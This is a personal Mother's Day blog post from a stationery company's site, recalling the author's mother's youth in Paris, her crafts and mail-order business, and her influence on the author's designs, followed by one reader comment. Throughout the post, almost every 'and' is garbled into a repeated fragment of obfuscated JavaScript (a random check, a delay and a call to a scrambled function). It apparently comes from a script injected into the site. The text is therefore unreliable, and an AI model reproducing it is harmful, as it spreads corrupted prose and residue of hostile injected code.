My Mother’s Creative Influence

My Mother's Creative Influence | Sycamore

When my mom was 12 years old, her family moved to Paris. Every Saturday, she’d hop a train into central Paris with her friends, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and together they'd spend the whole day roaming that beautiful city -- playing guitar in the park, checking out clothing boutiques, eating baguettes, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and generally having a ball. She quickly picked up the language, a Parisian sense of style, an appreciation of good food, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a certain je ne sais quoi...

That's her in the photo above, standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding in front of the Pompidou Museum. The year -- 1978. The outfit -- classic. The white suit, the delicate rings on each finger, the contrasting bag slung over her arm... I feel like it would look just as chic on the streets of Paris today.

Seeing photos like this of my mom andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and hearing about all her adventures en France, how could I not fall in love with the French language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and culture?! By the time I was in jr. high, I knew I had to do whatever it took 1) learn French andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and 2) live in France.

I ended up taking all the French classes I could in high school, getting a minor in French in college, doing a study abroad in Paris, taking an internship in Brussels, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and volunteering as a missionary in northern France andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and southern Belgium. I fell more andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more in love with the language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and culture with each of those experiences. I also realized that many of the things about my mom that I had always thought were unique to her, were in fact, very French. I love that.

My Mother's Creative Influence | Sycamore

Even thought it's been decades since she's lived there, France is still a big part of my mom's identity andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and frame of reference. When I showed her one of our new spring 2014 collections (pictured above) she commented that it looked very French. One of my main influences for that collection was in fact a French fashion house, but I hadn't told her that. She just gets it.

My Mother's Creative Influence | Sycamore

But of course, my mom has many facets to her, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and being a francophile is just one of them.

She comes from a long line of makers, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and creating just seems to be a part of her nature. (That's the two of us pictured above with some plates she designed for me, my sister, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a couple of our cousins. I still have mine andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Ingrid uses it all the time!) I have many memories of her tole painting, oil painting, putting together homemade Halloween costumes, sponge painting our walls (in the 80's), growing a garden,  andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more. I loved watching andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and learning from her.

She had stacks andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stacks of home decor magazines, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we'd often pour over them together. We'd point out our favorites to each other andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and say why we liked this or that. On weekends, a favorite activity of ours was to look through model homes andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and home boutiques. She sold her handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andmade topiaries, painted wooden bowls, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more at local craft fairs, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in the early 90's, she started a mail order catalog called Under the Sun. It sold quality wooden toys from Germany, handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andmade lamps from Los Angeles, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and other unique finds.

My Mother's Creative Influence | Sycamore

The title of this blog is Creating a Handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Drawn Life, which to me, means intentionally making a life for yourself that is full of beauty, love, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and simplicity. My mom has always created that atmosphere in her home, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I'm so grateful for it. It's something I am trying to create for my own little family, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and to help others with, through Sycamore Street Press.

Thank you, Mom, for being such an amazing example to me! Happy Mother's Day!

And Happy Mother's Day to all the women andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mothers out there. You probably don't realize what a wonderful influence you are to those around you! xo - Eva

For more posts on the creative influence of mothers, see One More Mushroom, The House that Lars Built, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Sarah Jane Studios.

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  1. Adrienne says:

    Eva, this is absolutely lovely. Thanks so much for sharing your love and admiration for your amazing mom. One day, Ingrid will realize she feels the same about you. :)

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